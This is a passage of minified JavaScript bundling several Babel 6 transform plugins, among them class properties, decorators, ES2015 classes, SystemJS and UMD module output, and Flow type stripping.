r[g]=!0,(0,d.default)(e,r,t)},e}();t.default=E,e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e){var t=u.default[e];if(!t)throw new ReferenceError("Unknown helper "+e);return t().expression}t.__esModule=!0,t.list=void 0;var s=r(14),a=n(s);t.get=i;var o=r(321),u=n(o);t.list=(0,a.default)(u.default).map(function(e){return e.replace(/^_/,"")}).filter(function(e){return"__esModule"!==e});t.default=i},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{manipulateOptions:function(e,t){t.plugins.push("asyncGenerators")}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{manipulateOptions:function(e,t){t.plugins.push("classConstructorCall")}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{manipulateOptions:function(e,t){t.plugins.push("classProperties")}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{manipulateOptions:function(e,t){t.plugins.push("doExpressions")}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{manipulateOptions:function(e,t){t.plugins.push("exponentiationOperator")}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{manipulateOptions:function(e,t){t.plugins.push("exportExtensions")}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{manipulateOptions:function(e,t){t.plugins.push("functionBind")}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{manipulateOptions:function(e,t){t.plugins.push("objectRestSpread")}}},e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(2),s=n(i),a=r(10),o=n(a);t.default=function(e){function t(e){for(var t=e.get("body.body"),r=t,n=Array.isArray(r),i=0,r=n?r:(0,s.default)(r);;){var a;if(n){if(i>=r.length)break;a=r[i++]}else{if(i=r.next(),i.done)break;a=i.value}var o=a;if("constructorCall"===o.node.kind)return o}return null}function n(e,t){var r=t,n=r.node,s=n.id||t.scope.generateUidIdentifier("class");t.parentPath.isExportDefaultDeclaration()&&(t=t.parentPath,t.insertAfter(i.exportDefaultDeclaration(s))),t.replaceWithMultiple(c({CLASS_REF:t.scope.generateUidIdentifier(s.name),CALL_REF:t.scope.generateUidIdentifier(s.name+"Call"),CALL:i.functionExpression(null,e.node.params,e.node.body),CLASS:i.toExpression(n),WRAPPER_REF:s})),e.remove()}var i=e.types,a=(0,o.default)();return{inherits:r(196),visitor:{Class:function(e){if(!e.node[a]){e.node[a]=!0;var r=t(e);r&&n(r,e)}}}}};var u=r(4),l=n(u),c=(0,l.default)("\n  let CLASS_REF = CLASS;\n  var CALL_REF = CALL;\n  var WRAPPER_REF = function (...args) {\n    if (this instanceof WRAPPER_REF) {\n      return Reflect.construct(CLASS_REF, args);\n    } else {\n      return CALL_REF.apply(this, args);\n    }\n  };\n  WRAPPER_REF.__proto__ = CLASS_REF;\n  WRAPPER_REF;\n");e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(2),s=n(i);t.default=function(e){var t=e.types,n={Super:function(e){e.parentPath.isCallExpression({callee:e.node})&&this.push(e.parentPath)}},i={ReferencedIdentifier:function(e){this.scope.hasOwnBinding(e.node.name)&&(this.collision=!0,e.skip())}},a=(0,l.default)("\n    Object.defineProperty(REF, KEY, {\n      // configurable is false by default\n      enumerable: true,\n      writable: true,\n      value: VALUE\n    });\n  "),u=function(e,r){var n=r.key,i=r.value,s=r.computed;return a({REF:e,KEY:t.isIdentifier(n)&&!s?t.stringLiteral(n.name):n,VALUE:i||t.identifier("undefined")})},c=function(e,r){var n=r.key,i=r.value,s=r.computed;return t.expressionStatement(t.assignmentExpression("=",t.memberExpression(e,n,s||t.isLiteral(n)),i))};return{inherits:r(197),visitor:{Class:function(e,r){for(var a=r.opts.spec?u:c,l=!!e.node.superClass,f=void 0,p=[],d=e.get("body"),h=d.get("body"),m=Array.isArray(h),y=0,h=m?h:(0,s.default)(h);;){var v;if(m){if(y>=h.length)break;v=h[y++]}else{if(y=h.next(),y.done)break;v=y.value}var g=v;g.isClassProperty()?p.push(g):g.isClassMethod({kind:"constructor"})&&(f=g)}if(p.length){var b=[],E=void 0;e.isClassExpression()||!e.node.id?((0,o.default)(e),E=e.scope.generateUidIdentifier("class")):E=e.node.id;for(var x=[],A=p,S=Array.isArray(A),_=0,A=S?A:(0,s.default)(A);;){var D;if(S){if(_>=A.length)break;D=A[_++]}else{if(_=A.next(),_.done)break;D=_.value}var C=D,w=C.node;if(!(w.decorators&&w.decorators.length>0)&&(r.opts.spec||w.value)){if(w.static)b.push(a(E,w));else{if(!w.value)continue;x.push(a(t.thisExpression(),w))}}}if(x.length){if(!f){var P=t.classMethod("constructor",t.identifier("constructor"),[],t.blockStatement([]));l&&(P.params=[t.restElement(t.identifier("args"))],P.body.body.push(t.returnStatement(t.callExpression(t.super(),[t.spreadElement(t.identifier("args"))]))));f=d.unshiftContainer("body",P)[0]}for(var k={collision:!1,scope:f.scope},F=p,T=Array.isArray(F),O=0,F=T?F:(0,s.default)(F);;){var B;if(T){if(O>=F.length)break;B=F[O++]}else{if(O=F.next(),O.done)break;B=O.value}if(B.traverse(i,k),k.collision)break}if(k.collision){var R=e.scope.generateUidIdentifier("initialiseProps");b.push(t.variableDeclaration("var",[t.variableDeclarator(R,t.functionExpression(null,[],t.blockStatement(x)))])),x=[t.expressionStatement(t.callExpression(t.memberExpression(R,t.identifier("call")),[t.thisExpression()]))]}if(l){var I=[];f.traverse(n,I);for(var M=I,N=Array.isArray(M),L=0,M=N?M:(0,s.default)(M);;){var j;if(N){if(L>=M.length)break;j=M[L++]}else{if(L=M.next(),L.done)break;j=L.value}j.insertAfter(x)}}else f.get("body").unshiftContainer("body",x)}for(var U=p,V=Array.isArray(U),G=0,U=V?U:(0,s.default)(U);;){var W;if(V){if(G>=U.length)break;W=U[G++]}else{if(G=U.next(),G.done)break;W=G.value}W.remove()}b.length&&(e.isClassExpression()?(e.scope.push({id:E}),e.replaceWith(t.assignmentExpression("=",E,e.node))):(e.node.id||(e.node.id=E),e.parentPath.isExportDeclaration()&&(e=e.parentPath)),e.insertAfter(b))}},ArrowFunctionExpression:function(e){var t=e.get("body");if(t.isClassExpression()){t.get("body").get("body").some(function(e){return e.isClassProperty()})&&e.ensureBlock()}}}}};var a=r(40),o=n(a),u=r(4),l=n(u);e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(9),s=n(i),a=r(2),o=n(a);t.default=function(e){function t(e){return e.reverse().map(function(e){return e.expression})}function n(e,r,n){var i=[],a=e.node.decorators;if(a){e.node.decorators=null,a=t(a);for(var l=a,c=Array.isArray(l),f=0,l=c?l:(0,o.default)(l);;){var d;if(c){if(f>=l.length)break;d=l[f++]}else{if(f=l.next(),f.done)break;d=f.value}var h=d;i.push(p({CLASS_REF:r,DECORATOR:h}))}}for(var m=(0,s.default)(null),y=e.get("body.body"),v=Array.isArray(y),g=0,y=v?y:(0,o.default)(y);;){var b;if(v){if(g>=y.length)break;b=y[g++]}else{if(g=y.next(),g.done)break;b=g.value}var E=b;if(E.node.decorators){var x=u.toKeyAlias(E.node);m[x]=m[x]||[],m[x].push(E.node),E.remove()}}for(var A in m){m[A]}return i}function i(e){if(e.isClass()){if(e.node.decorators)return!0;for(var t=e.node.body.body,r=Array.isArray(t),n=0,t=r?t:(0,o.default)(t);;){var i;if(r){if(n>=t.length)break;i=t[n++]}else{if(n=t.next(),n.done)break;i=n.value}if(i.decorators)return!0}}else if(e.isObjectExpression())for(var s=e.node.properties,a=Array.isArray(s),u=0,s=a?s:(0,o.default)(s);;){var l;if(a){if(u>=s.length)break;l=s[u++]}else{if(u=s.next(),u.done)break;l=u.value}var c=l;if(c.decorators)return!0}return!1}function a(e){throw e.buildCodeFrameError('Decorators are not officially supported yet in 6.x pending a proposal update.\nHowever, if you need to use them you can install the legacy decorators transform with:\n\nnpm install babel-plugin-transform-decorators-legacy --save-dev\n\nand add the following line to your .babelrc file:\n\n{\n  "plugins": ["transform-decorators-legacy"]\n}\n\nThe repo url is: https://github.com/loganfsmyth/babel-plugin-transform-decorators-legacy.\n    ')}var u=e.types;return{inherits:r(125),visitor:{ClassExpression:function(e){if(i(e)){a(e),(0,f.default)(e);var t=e.scope.generateDeclaredUidIdentifier("ref"),r=[];r.push(u.assignmentExpression("=",t,e.node)),r=r.concat(n(e,t,this)),r.push(t),e.replaceWith(u.sequenceExpression(r))}},ClassDeclaration:function(e){if(i(e)){a(e),(0,f.default)(e);var t=e.node.id,r=[];r=r.concat(n(e,t,this).map(function(e){return u.expressionStatement(e)})),r.push(u.expressionStatement(t)),e.insertAfter(r)}},ObjectExpression:function(e){i(e)&&a(e)}}}};var u=r(4),l=n(u),c=r(319),f=n(c),p=(0,l.default)("\n  CLASS_REF = DECORATOR(CLASS_REF) || CLASS_REF;\n");e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(){return{inherits:r(198),visitor:{DoExpression:function(e){var t=e.node.body.body;t.length?e.replaceWithMultiple(t):e.replaceWith(e.scope.buildUndefinedNode())}}}},e.exports=t.default},function(e,t,r){"use strict";function n(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}function i(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=r(2),a=i(s),o=r(3),u=i(o),l=r(7),c=r(193),f=i(c),p=r(191),d=i(p),h=r(188),m=n(h),y=r(4),v=i(y),g=r(1),b=n(g),E=(0,v.default)("\n  (function () {\n    super(...arguments);\n  })\n"),x={"FunctionExpression|FunctionDeclaration":function(e){e.is("shadow")||e.skip()},Method:function(e){e.skip()}},A=l.visitors.merge([x,{Super:function(e){if(this.isDerived&&!this.hasBareSuper&&!e.parentPath.isCallExpression({callee:e.node}))throw e.buildCodeFrameError("'super.*' is not allowed before super()")},CallExpression:{exit:function(e){if(e.get("callee").isSuper()&&(this.hasBareSuper=!0,!this.isDerived))throw e.buildCodeFrameError("super() is only allowed in a derived constructor")}},ThisExpression:function(e){if(this.isDerived&&!this.hasBareSuper&&!e.inShadow("this"))throw e.buildCodeFrameError("'this' is not allowed before super()")}}]),S=l.visitors.merge([x,{ThisExpression:function(e){this.superThises.push(e)}}]),_=function(){function e(t,r){(0,u.default)(this,e),this.parent=t.parent,this.scope=t.scope,this.node=t.node,this.path=t,this.file=r,this.clearDescriptors(),this.instancePropBody=[],this.instancePropRefs={},this.staticPropBody=[],this.body=[],this.bareSuperAfter=[],this.bareSupers=[],this.pushedConstructor=!1,this.pushedInherits=!1,this.isLoose=!1,this.superThises=[],this.classId=this.node.id,this.classRef=this.node.id?b.identifier(this.node.id.name):this.scope.generateUidIdentifier("class"),this.superName=this.node.superClass||b.identifier("Function"),this.isDerived=!!this.node.superClass}return e.prototype.run=function(){var e=this,t=this.superName,r=this.file,n=this.body,i=this.constructorBody=b.blockStatement([]);this.constructor=this.buildConstructor();var s=[],a=[];if(this.isDerived&&(a.push(t),t=this.scope.generateUidIdentifierBasedOnNode(t),s.push(t),this.superName=t),this.buildBody(),i.body.unshift(b.expressionStatement(b.callExpression(r.addHelper("classCallCheck"),[b.thisExpression(),this.classRef]))),n=n.concat(this.staticPropBody.map(function(t){return t(e.classRef)})),this.classId&&1===n.length)return b.toExpression(n[0]);n.push(b.returnStatement(this.classRef));var o=b.functionExpression(null,s,b.blockStatement(n));return o.shadow=!0,b.callExpression(o,a)},e.prototype.buildConstructor=function(){var e=b.functionDeclaration(this.classRef,[],this.constructorBody);return b.inherits(e,this.node),e},e.prototype.pushToMap=function(e,t){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"value",n=arguments[3],i=void 0;e.static?(this.hasStaticDescriptors=!0,i=this.staticMutatorMap):(this.hasInstanceDescriptors=!0,i=this.instanceMutatorMap);var s=m.push(i,e,r,this.file,n);return t&&(s.enumerable=b.booleanLiteral(!0)),s},e.prototype.constructorMeMaybe=function(){for(var e=!1,t=this.path.get("body.body"),r=t,n=Array.isArray(r),i=0,r=n?r:(0,a.default)(r);;){var s;if(n){if(i>=r.length)break;s=r[i++]}else{if(i=r.next(),i.done)break;s=i.value}if(e=s.equals("kind","constructor"))break}if(!e){var o=void 0,u=void 0;if(this.isDerived){var l=E().expression;o=l.params,u=l.body}else o=[],u=b.blockStatement([]);this.path.get("body").unshiftContainer("body",b.classMethod("constructor",b.identifier("constructor"),o,u))}},e.prototype.buildBody=function(){if(this.constructorMeMaybe(),this.pushBody(),this.verifyConstructor(),this.userConstructor){var e=this.constructorBody;e.body=e.body.concat(this.userConstructor.body.body),b.inherits(this.constructor,this.userConstructor),b.inherits(e,this.userConstructor.body)}this.pushDescriptors()},e.prototype.pushBody=function(){for(var e=this.path.get("body.body"),t=e,r=Array.isArray(t),n=0,t=r?t:(0,a.default)(t);;){var i;if(r){if(n>=t.length)break;i=t[n++]}else{if(n=t.next(),n.done)break;i=n.value}var s=i,o=s.node;if(s.isClassProperty())throw s.buildCodeFrameError("Missing class properties transform.");if(o.decorators)throw s.buildCodeFrameError("Method has decorators, put the decorator plugin before the classes one.");if(b.isClassMethod(o)){var u="constructor"===o.kind;if(u&&(s.traverse(A,this),!this.hasBareSuper&&this.isDerived))throw s.buildCodeFrameError("missing super() call in constructor");var l=new f.default({forceSuperMemoisation:u,methodPath:s,methodNode:o,objectRef:this.classRef,superRef:this.superName,isStatic:o.static,isLoose:this.isLoose,scope:this.scope,file:this.file},!0);l.replace(),u?this.pushConstructor(l,o,s):this.pushMethod(o,s)}}},e.prototype.clearDescriptors=function(){this.hasInstanceDescriptors=!1,this.hasStaticDescriptors=!1,this.instanceMutatorMap={},this.staticMutatorMap={}},e.prototype.pushDescriptors=function(){this.pushInherits();var e=this.body,t=void 0,r=void 0;if(this.hasInstanceDescriptors&&(t=m.toClassObject(this.instanceMutatorMap)),this.hasStaticDescriptors&&(r=m.toClassObject(this.staticMutatorMap)),t||r){t&&(t=m.toComputedObjectFromClass(t)),r&&(r=m.toComputedObjectFromClass(r));var n=b.nullLiteral(),i=[this.classRef,n,n,n,n];t&&(i[1]=t),r&&(i[2]=r),this.instanceInitializersId&&(i[3]=this.instanceInitializersId,e.unshift(this.buildObjectAssignment(this.instanceInitializersId))),this.staticInitializersId&&(i[4]=this.staticInitializersId,e.unshift(this.buildObjectAssignment(this.staticInitializersId)));for(var s=0,a=0;a<i.length;a++)i[a]!==n&&(s=a);i=i.slice(0,s+1),e.push(b.expressionStatement(b.callExpression(this.file.addHelper("createClass"),i)))}this.clearDescriptors()},e.prototype.buildObjectAssignment=function(e){return b.variableDeclaration("var",[b.variableDeclarator(e,b.objectExpression([]))])},e.prototype.wrapSuperCall=function(e,t,r,n){var i=e.node;this.isLoose?(i.arguments.unshift(b.thisExpression()),2===i.arguments.length&&b.isSpreadElement(i.arguments[1])&&b.isIdentifier(i.arguments[1].argument,{name:"arguments"})?(i.arguments[1]=i.arguments[1].argument,i.callee=b.memberExpression(t,b.identifier("apply"))):i.callee=b.memberExpression(t,b.identifier("call"))):i=(0,d.default)(b.logicalExpression("||",b.memberExpression(this.classRef,b.identifier("__proto__")),b.callExpression(b.memberExpression(b.identifier("Object"),b.identifier("getPrototypeOf")),[this.classRef])),b.thisExpression(),i.arguments);var s=b.callExpression(this.file.addHelper("possibleConstructorReturn"),[b.thisExpression(),i]),a=this.bareSuperAfter.map(function(e){return e(r)});e.parentPath.isExpressionStatement()&&e.parentPath.container===n.node.body&&n.node.body.length-1===e.parentPath.key?((this.superThises.length||a.length)&&(e.scope.push({id:r}),s=b.assignmentExpression("=",r,s)),a.length&&(s=b.toSequenceExpression([s].concat(a,[r]))),e.parentPath.replaceWith(b.returnStatement(s))):e.replaceWithMultiple([b.variableDeclaration("var",[b.variableDeclarator(r,s)])].concat(a,[b.expressionStatement(r)]))},e.prototype.verifyConstructor=function(){var e=this;if(this.isDerived){var t=this.userConstructorPath,r=t.get("body");t.traverse(S,this);for(var n=!!this.bareSupers.length,i=this.superName||b.identifier("Function"),s=t.scope.generateUidIdentifier("this"),o=this.bareSupers,u=Array.isArray(o),l=0,o=u?o:(0,a.default)(o);;){var c;if(u){if(l>=o.length)break;c=o[l++]}else{if(l=o.next(),l.done)break;c=l.value}var f=c;this.wrapSuperCall(f,i,s,r),n&&f.find(function(e){return e===t||(e.isLoop()||e.isConditional()?(n=!1,!0):void 0)})}for(var p=this.superThises,d=Array.isArray(p),h=0,p=d?p:(0,a.default)(p);;){var m;if(d){if(h>=p.length)break;m=p[h++]}else{if(h=p.next(),h.done)break;m=h.value}m.replaceWith(s)}var y=function(t){return b.callExpression(e.file.addHelper("possibleConstructorReturn"),[s].concat(t||[]))},v=r.get("body");v.length&&!v.pop().isReturnStatement()&&r.pushContainer("body",b.returnStatement(n?s:y()));for(var g=this.superReturns,E=Array.isArray(g),x=0,g=E?g:(0,a.default)(g);;){var A;if(E){if(x>=g.length)break;A=g[x++]}else{if(x=g.next(),x.done)break;A=x.value}var _=A;if(_.node.argument){var D=_.scope.generateDeclaredUidIdentifier("ret");_.get("argument").replaceWithMultiple([b.assignmentExpression("=",D,_.node.argument),y(D)])}else _.get("argument").replaceWith(y())}}},e.prototype.pushMethod=function(e,t){var r=t?t.scope:this.scope;"method"===e.kind&&this._processMethod(e,r)||this.pushToMap(e,!1,null,r)},e.prototype._processMethod=function(){return!1},e.prototype.pushConstructor=function(e,t,r){this.bareSupers=e.bareSupers,this.superReturns=e.returns,r.scope.hasOwnBinding(this.classRef.name)&&r.scope.rename(this.classRef.name);var n=this.constructor;this.userConstructorPath=r,this.userConstructor=t,this.hasConstructor=!0,b.inheritsComments(n,t),n._ignoreUserWhitespace=!0,n.params=t.params,b.inherits(n.body,t.body),n.body.directives=t.body.directives,this._pushConstructor()},e.prototype._pushConstructor=function(){this.pushedConstructor||(this.pushedConstructor=!0,(this.hasInstanceDescriptors||this.hasStaticDescriptors)&&this.pushDescriptors(),this.body.push(this.constructor),this.pushInherits())},e.prototype.pushInherits=function(){this.isDerived&&!this.pushedInherits&&(this.pushedInherits=!0,this.body.unshift(b.expressionStatement(b.callExpression(this.file.addHelper("inherits"),[this.classRef,this.superName]))))},e}();t.default=_,e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(9),s=n(i),a=r(2),o=n(a),u=r(10),l=n(u);t.default=function(e){var t=e.types,r=(0,l.default)(),n={"AssignmentExpression|UpdateExpression":function(e){if(!e.node[r]){e.node[r]=!0;var n=e.get(e.isAssignmentExpression()?"left":"argument");if(n.isIdentifier()){var i=n.node.name;if(this.scope.getBinding(i)===e.scope.getBinding(i)){var s=this.exports[i];if(s){var a=e.node,u=e.isUpdateExpression()&&!a.prefix;u&&("++"===a.operator?a=t.binaryExpression("+",a.argument,t.numericLiteral(1)):"--"===a.operator?a=t.binaryExpression("-",a.argument,t.numericLiteral(1)):u=!1);for(var l=s,c=Array.isArray(l),f=0,l=c?l:(0,o.default)(l);;){var p;if(c){if(f>=l.length)break;p=l[f++]}else{if(f=l.next(),f.done)break;p=f.value}var d=p;a=this.buildCall(d,a).expression}u&&(a=t.sequenceExpression([a,e.node])),e.replaceWith(a)}}}}}};return{visitor:{CallExpression:function(e,r){if(e.node.callee.type===y){var n=r.contextIdent;e.replaceWith(t.callExpression(t.memberExpression(n,t.identifier("import")),e.node.arguments))}},ReferencedIdentifier:function(e,r){"__moduleName"!=e.node.name||e.scope.hasBinding("__moduleName")||e.replaceWith(t.memberExpression(r.contextIdent,t.identifier("id")))},Program:{enter:function(e,t){t.contextIdent=e.scope.generateUidIdentifier("context")},exit:function(e,r){function i(e,t){p[e]=p[e]||[],p[e].push(t)}function a(e,t,r){var n=void 0;d.forEach(function(t){t.key===e&&(n=t)}),n||d.push(n={key:e,imports:[],exports:[]}),n[t]=n[t].concat(r)}function u(e,r){return t.expressionStatement(t.callExpression(l,[t.stringLiteral(e),r]))}for(var l=e.scope.generateUidIdentifier("export"),c=r.contextIdent,p=(0,s.default)(null),d=[],y=[],v=[],g=[],b=[],E=[],x=e.get("body"),A=!0,S=x,_=Array.isArray(S),D=0,S=_?S:(0,o.default)(S);;){var C;if(_){if(D>=S.length)break;C=S[D++]}else{if(D=S.next(),D.done)break;C=D.value}var w=C;if(w.isExportDeclaration()&&(w=w.get("declaration")),w.isVariableDeclaration()&&"var"!==w.node.kind){A=!1;break}}for(var P=x,k=Array.isArray(P),F=0,P=k?P:(0,o.default)(P);;){var T;if(k){if(F>=P.length)break;T=P[F++]}else{if(F=P.next(),F.done)break;T=F.value}var O=T;if(A&&O.isFunctionDeclaration())y.push(O.node),E.push(O);else if(O.isImportDeclaration()){var B=O.node.source.value;a(B,"imports",O.node.specifiers);for(var R in O.getBindingIdentifiers())O.scope.removeBinding(R),b.push(t.identifier(R));O.remove()}else if(O.isExportAllDeclaration())a(O.node.source.value,"exports",O.node),O.remove();else if(O.isExportDefaultDeclaration()){var I=O.get("declaration");if(I.isClassDeclaration()||I.isFunctionDeclaration()){var M=I.node.id,N=[];M?(N.push(I.node),N.push(u("default",M)),i(M.name,"default")):N.push(u("default",t.toExpression(I.node))),!A||I.isClassDeclaration()?O.replaceWithMultiple(N):(y=y.concat(N),E.push(O))}else O.replaceWith(u("default",I.node))}else if(O.isExportNamedDeclaration()){var L=O.get("declaration");if(L.node){O.replaceWith(L);var j=[],U=void 0;if(O.isFunction()){var V=L.node,G=V.id.name;if(A)i(G,G),y.push(V),y.push(u(G,V.id)),E.push(O);else{var W;W={},W[G]=V.id,U=W}}else U=L.getBindingIdentifiers();for(var Y in U)i(Y,Y),j.push(u(Y,t.identifier(Y)));O.insertAfter(j)}else{var q=O.node.specifiers;if(q&&q.length)if(O.node.source)a(O.node.source.value,"exports",q),O.remove();else{for(var K=[],H=q,J=Array.isArray(H),X=0,H=J?H:(0,o.default)(H);;){var z;if(J){if(X>=H.length)break;z=H[X++]}else{if(X=H.next(),X.done)break;z=X.value}var $=z;K.push(u($.exported.name,$.local)),i($.local.name,$.exported.name)}O.replaceWithMultiple(K)}}}}d.forEach(function(r){for(var n=[],i=e.scope.generateUidIdentifier(r.key),s=r.imports,a=Array.isArray(s),u=0,s=a?s:(0,o.default)(s);;){var c;if(a){if(u>=s.length)break;c=s[u++]}else{if(u=s.next(),u.done)break;c=u.value}var f=c;t.isImportNamespaceSpecifier(f)?n.push(t.expressionStatement(t.assignmentExpression("=",f.local,i))):t.isImportDefaultSpecifier(f)&&(f=t.importSpecifier(f.local,t.identifier("default"))),t.isImportSpecifier(f)&&n.push(t.expressionStatement(t.assignmentExpression("=",f.local,t.memberExpression(i,f.imported))))}if(r.exports.length){var p=e.scope.generateUidIdentifier("exportObj");n.push(t.variableDeclaration("var",[t.variableDeclarator(p,t.objectExpression([]))]));for(var d=r.exports,h=Array.isArray(d),y=0,d=h?d:(0,o.default)(d);;){var b;if(h){if(y>=d.length)break;b=d[y++]}else{if(y=d.next(),y.done)break;b=y.value}var E=b;t.isExportAllDeclaration(E)?n.push(m({KEY:e.scope.generateUidIdentifier("key"),EXPORT_OBJ:p,TARGET:i})):t.isExportSpecifier(E)&&n.push(t.expressionStatement(t.assignmentExpression("=",t.memberExpression(p,E.exported),t.memberExpression(i,E.local))))}n.push(t.expressionStatement(t.callExpression(l,[p])))}g.push(t.stringLiteral(r.key)),v.push(t.functionExpression(null,[i],t.blockStatement(n)))});var Q=this.getModuleName();Q&&(Q=t.stringLiteral(Q)),A&&(0,f.default)(e,function(e){return b.push(e)}),b.length&&y.unshift(t.variableDeclaration("var",b.map(function(e){return t.variableDeclarator(e)}))),e.traverse(n,{exports:p,buildCall:u,scope:e.scope});for(var Z=E,ee=Array.isArray(Z),te=0,Z=ee?Z:(0,o.default)(Z);;){var re;if(ee){if(te>=Z.length)break;re=Z[te++]}else{if(te=Z.next(),te.done)break;re=te.value}re.remove()}e.node.body=[h({SYSTEM_REGISTER:t.memberExpression(t.identifier(r.opts.systemGlobal||"System"),t.identifier("register")),BEFORE_BODY:y,MODULE_NAME:Q,SETTERS:v,SOURCES:g,BODY:e.node.body,EXPORT_IDENTIFIER:l,CONTEXT_IDENTIFIER:c})]}}}}};var c=r(190),f=n(c),p=r(4),d=n(p),h=(0,d.default)('\n  SYSTEM_REGISTER(MODULE_NAME, [SOURCES], function (EXPORT_IDENTIFIER, CONTEXT_IDENTIFIER) {\n    "use strict";\n    BEFORE_BODY;\n    return {\n      setters: [SETTERS],\n      execute: function () {\n        BODY;\n      }\n    };\n  });\n'),m=(0,d.default)('\n  for (var KEY in TARGET) {\n    if (KEY !== "default" && KEY !== "__esModule") EXPORT_OBJ[KEY] = TARGET[KEY];\n  }\n'),y="Import";e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(e){function t(e){if(e.isExpressionStatement()){var t=e.get("expression");if(!t.isCallExpression())return!1;if(!t.get("callee").isIdentifier({name:"define"}))return!1;var r=t.get("arguments");return!(3===r.length&&!r.shift().isStringLiteral())&&(2===r.length&&(!!r.shift().isArrayExpression()&&!!r.shift().isFunctionExpression()))}}var i=e.types;return{inherits:r(131),visitor:{Program:{exit:function(e,r){var s=e.get("body").pop();if(t(s)){var l=s.node.expression,c=l.arguments,f=3===c.length?c.shift():null,p=l.arguments[0],d=l.arguments[1],h=r.opts.globals||{},m=p.elements.map(function(e){return"module"===e.value||"exports"===e.value?i.identifier(e.value):i.callExpression(i.identifier("require"),[e])}),y=p.elements.map(function(e){if("module"===e.value)return i.identifier("mod");if("exports"===e.value)return i.memberExpression(i.identifier("mod"),i.identifier("exports"));var t=void 0;if(r.opts.exactGlobals){var s=h[e.value];t=s?s.split(".").reduce(function(e,t){return i.memberExpression(e,i.identifier(t))},i.identifier("global")):i.memberExpression(i.identifier("global"),i.identifier(i.toIdentifier(e.value)))}else{var a=(0,n.basename)(e.value,(0,n.extname)(e.value)),o=h[a]||a;t=i.memberExpression(i.identifier("global"),i.identifier(i.toIdentifier(o)))}return t}),v=f?f.value:this.file.opts.basename,g=i.memberExpression(i.identifier("global"),i.identifier(i.toIdentifier(v))),b=null;if(r.opts.exactGlobals){var E=h[v];if(E){b=[];var x=E.split(".");g=x.slice(1).reduce(function(e,t){return b.push(a({GLOBAL_REFERENCE:e})),i.memberExpression(e,i.identifier(t))},i.memberExpression(i.identifier("global"),i.identifier(x[0])))}}var A=o({BROWSER_ARGUMENTS:y,PREREQUISITE_ASSIGNMENTS:b,GLOBAL_TO_ASSIGN:g});s.replaceWith(u({MODULE_NAME:f,AMD_ARGUMENTS:p,COMMON_ARGUMENTS:m,GLOBAL_EXPORT:A,FUNC:d}))}}}}}};var n=r(19),i=r(4),s=function(e){return e&&e.__esModule?e:{default:e}}(i),a=(0,s.default)("\n  GLOBAL_REFERENCE = GLOBAL_REFERENCE || {}\n"),o=(0,s.default)("\n  var mod = { exports: {} };\n  factory(BROWSER_ARGUMENTS);\n  PREREQUISITE_ASSIGNMENTS\n  GLOBAL_TO_ASSIGN = mod.exports;\n"),u=(0,s.default)('\n  (function (global, factory) {\n    if (typeof define === "function" && define.amd) {\n      define(MODULE_NAME, AMD_ARGUMENTS, factory);\n    } else if (typeof exports !== "undefined") {\n      factory(COMMON_ARGUMENTS);\n    } else {\n      GLOBAL_EXPORT\n    }\n  })(this, FUNC);\n');e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(e){function t(e,r,i){var s=e.specifiers[0];if(n.isExportNamespaceSpecifier(s)||n.isExportDefaultSpecifier(s)){var a=e.specifiers.shift(),o=i.generateUidIdentifier(a.exported.name),u=void 0;u=n.isExportNamespaceSpecifier(a)?n.importNamespaceSpecifier(o):n.importDefaultSpecifier(o),r.push(n.importDeclaration([u],e.source)),r.push(n.exportNamedDeclaration(null,[n.exportSpecifier(o,a.exported)])),t(e,r,i)}}var n=e.types;return{inherits:r(200),visitor:{ExportNamedDeclaration:function(e){var r=e.node,n=e.scope,i=[];t(r,i,n),i.length&&(r.specifiers.length>=1&&i.push(r),e.replaceWithMultiple(i))}}}},e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(2),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default=function(e){var t=e.types;return{inherits:r(126),visitor:{Program:function(e,t){for(var r=t.file.ast.comments,n=r,s=Array.isArray(n),a=0,n=s?n:(0,i.default)(n);;){var o;if(s){if(a>=n.length)break;o=n[a++]}else{if(a=n.next(),a.done)break;o=a.value}var u=o;u.value.indexOf("@flow")>=0&&(u.value=u.value.replace("@flow",""),u.value.replace(/\*/g,"").trim()||(u.ignore=!0))}},Flow:function(e){e.remove()},ClassProperty:function(e){e.node.variance=null,e.node.typeAnnotation=null,e.node.value||e.remove()},Class:function(e){e.node.implements=null,e.get("body.body").forEach(function(e){e.isClassProperty()&&(e.node.typeAnnotation=null,e.node.value||e.remove())})},AssignmentPattern:function(e){e.node.left.optional=!1},Function:function(e){for(var t=e.node,r=0;r<t.params.length;r++){t.params[r].optional=!1}},TypeCastExpression:function(e){var r=e.node;do{r=r.expression}while(t.isTypeCastExpression(r));e.replaceWith(r)}}}},e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(e){function t(e){var t=e.path.getData("functionBind");return t||(t=e.generateDeclaredUidIdentifier("context"),e.path.setData("functionBind",t))}function n(e,t){var r=e.object||e.callee.object;return t.isStatic(r)&&r}function i(e,r){var i=n(e,r);if(i)return i;var a=t(r);return 